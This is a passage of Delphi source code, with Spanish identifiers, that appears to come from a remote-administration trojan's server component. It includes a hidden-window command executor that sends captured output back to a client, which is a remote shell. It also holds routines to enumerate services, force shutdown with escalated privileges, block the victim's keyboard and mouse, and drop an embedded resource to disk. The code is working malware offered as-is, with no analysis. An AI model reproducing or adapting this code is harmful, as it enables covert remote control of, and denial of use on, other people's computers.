  2313.     CloseServiceHandle(SCManager);
  2314.   end;
  2315. end;
  2316. function ServiceGetList32(Machine: string): string;
  2317. var
  2318.   ServiceLoop: integer;
  2319.   SCManager: SC_Handle;
  2320.   nBytesNeeded, nServices, nResumeHandle: dword;
  2321.   ServiceStatus: array [0..511] of TEnumServiceStatus;
  2322. begin
  2323.   SCManager := OpenSCManager(PChar(Machine), Nil, SC_MANAGER_ALL_ACCESS);
  2324.   if SCManager = 0 then Exit;
  2325.   nResumeHandle := 0;
  2326.   try
  2327.     while True do begin
  2328.       EnumServicesStatus(SCManager, SERVICE_WIN32, SERVICE_STATE_ALL, ServiceStatus[0], sizeof(ServiceStatus), nBytesNeeded, nServices, nResumeHandle);
  2329.       for ServiceLoop := 0 to nServices - 1 do begin
  2330.         if ServiceStatus[ServiceLoop].ServiceStatus.dwCurrentState = 4 then
  2331.         begin
  2332.           Result := Result + ServiceStatus[ServiceLoop].lpServiceName + '|' + ServiceStatus[ServiceLoop].lpDisplayName + '|Started' + #13#10;
  2333.         end
  2334.         else
  2335.         begin
  2336.           Result := Result + ServiceStatus[ServiceLoop].lpServiceName + '|' + ServiceStatus[ServiceLoop].lpDisplayName + '|Stopped' + #13#10;
  2337.        end;
  2338.       end;
  2339.       if nBytesNeeded = 0 then Break;
  2340.     end;
  2341.   finally
  2342.     if SCManager > 0 then CloseServiceHandle(SCManager);
  2343.   end;
  2344. end;
  2345.   procedure ShellCode  ;
  2346.       var
  2347.   StartupInfo: TStartupinfo;
  2348.   ProcessInfo: TProcessInformation;
  2349.   DumpHandle:THandle;
  2350.   DumpFileName:string;
  2351.   CmdInt:string;
  2352.   SecyAttr:TSecurityAttributes;
  2353. begin
  2354.   if EsXp then   begin
  2355.       CmdInt:= FindWindowsDir + 'System32cmd.exe /C ';
  2356.       end
  2357.      else
  2358.      begin
  2359.     CmdInt := FindWindowsDir + 'command.com /C ';
  2360.         end;
  2361.     with SecyAttr do begin
  2362.       nLength:=SizeOf(SecyAttr);
  2363.       lpSecurityDescriptor:=nil;
  2364.       bInheritHandle:=True;
  2365.     end;
  2366.     DumpFileName:=GetLocalPath+'DEBUG.TXT';
  2367.     Windows.DeleteFile(pChar(DumpFileName));
  2368.     FillChar(Startupinfo,Sizeof(TStartupinfo),0);
  2369.     Startupinfo.cb:=Sizeof(TStartupInfo);
  2370.     Startupinfo.dwFlags:= STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES ;
  2371.     Startupinfo.wShowWindow:=SW_HIDE;
  2372.     DumpHandle:=CreateFile(pChar(DumpFileName),
  2373.         GENERIC_WRITE, FILE_SHARE_WRITE,
  2374.         @SecyAttr, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0) ;
  2375.     try
  2376.       Startupinfo.hStdError:=DumpHandle;
  2377.       Startupinfo.hStdOutput:=DumpHandle;
  2378.       if CreateProcess( nil, pChar(CmdInt + ConsolaApp),
  2379.             nil, nil, true, NORMAL_PRIORITY_CLASS,
  2380.             nil, nil, Startupinfo, ProcessInfo)
  2381.       then WaitforSingleObject(Processinfo.hProcess, infinite);
  2382.     finally
  2383.       CloseHandle(DumpHandle);
  2384.       CloseHandle(ProcessInfo.hProcess);
  2385.       if FileExists(DumpFileName) then begin
  2386.         EnviarSalidaAlCliente( DumpFileName);
  2387.       end;
  2388.     end;
  2389.    end;
  2390.       function ShutDownWindows(RebootParam: Longword): Boolean;
  2391. var
  2392.   TTokenHd: THandle;
  2393.   TTokenPvg: TTokenPrivileges;
  2394.   cbtpPrevious: DWORD;
  2395.   rTTokenPvg: TTokenPrivileges;
  2396.   pcbtpPreviousRequired: DWORD;
  2397.   tpResult: Boolean;
  2398. const
  2399.   SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';
  2400. begin
  2401.   if  (EsXp=true) then
  2402.   begin
  2403.     tpResult := OpenProcessToken(GetCurrentProcess(),
  2404.       TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,
  2405.       TTokenHd);
  2406.     if tpResult then
  2407.     begin
  2408.       tpResult := LookupPrivilegeValue(nil,
  2409.                                        SE_SHUTDOWN_NAME,
  2410.                                        TTokenPvg.Privileges[0].Luid);
  2411.       TTokenPvg.PrivilegeCount := 1;
  2412.       TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
  2413.       cbtpPrevious := SizeOf(rTTokenPvg);
  2414.       pcbtpPreviousRequired := 0;
  2415.       if tpResult then
  2416.         Windows.AdjustTokenPrivileges(TTokenHd,
  2417.                                       False,
  2418.                                       TTokenPvg,
  2419.                                       cbtpPrevious,
  2420.                                       rTTokenPvg,
  2421.                                       pcbtpPreviousRequired);
  2422.     end;
  2423.   end;
  2424.   Result := ExitWindowsEx(RebootParam, 0);
  2425. end;
  2426. function MatarMouseTeclado : String;
  2427. function Existe(_dllname, _funcname: string; var _p: pointer): boolean;
  2428. var _lib: tHandle;
  2429. begin
  2430.      Result := false;
  2431.      _p := NIL;
  2432.      if LoadLibrary( PChar(_dllname) ) = 0 then exit;
  2433.      _lib := GetModuleHandle( PChar(_dllname) );
  2434.      if _lib <> 0 then
  2435.      begin
  2436.         _p := GetProcAddress(_lib, PChar(_funcname));
  2437.         if _p <> nil then Result := true;
  2438.      end;
  2439. end;
  2440. var xBlockInput : function( Block: BOOL ): BOOL; stdcall;
  2441.     i : Integer;
  2442. begin
  2443.     if Existe( 'USER32.DLL', 'BlockInput', @xBlockInput ) then
  2444.        if Bloqueado then
  2445.        begin
  2446.             xBlockInput( false );
  2447.             Bloqueado := False;
  2448.             SystemParametersInfo( SPI_SCREENSAVERRUNNING, 0, @i, 0);
  2449.             Result := 'The Keyboard was enabled!!!...';
  2450.        end
  2451.        else begin
  2452.                  xBlockInput( true );
  2453.                  Bloqueado := True;
  2454.                  SystemParametersInfo( SPI_SCREENSAVERRUNNING, 1, @i, 0);
  2455.                  Result :=  'The Keyboard was Disable!!!...';
  2456.             end;
  2457. end;
  2458. procedure ExtractResourceToFile( ResName, ResExtract: String);
  2459. var
  2460.   ResourceLocation: HRSRC;
  2461.   cFileHandle, cResourceDataHandle: THandle;
  2462.   cResourceSize, cBytesWritten: Longword;
  2463.   cRecourcePath, cResourcePointer: PChar;
  2464. begin
  2465.   cRecourcePath := PChar( ResExtract );
  2466.   ResourceLocation := FindResource (HInstance,PChar(ResName),RT_RCDATA);
  2467.   cResourceSize := SizeofResource(HInstance,ResourceLocation);
  2468.   cResourceDataHandle := LoadResource(HInstance,ResourceLocation);
  2469.   cResourcePointer := LockResource(cResourceDataHandle);
  2470.   cFileHandle := CreateFile(cRecourcePath,GENERIC_WRITE,FILE_SHARE_WRITE,nil,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
  2471.   WriteFile( cFileHandle, cResourcePointer^, cResourceSize,cBytesWritten,nil);
  2472.   CloseHandle( cFileHandle );
  2473. end;
  2474. end.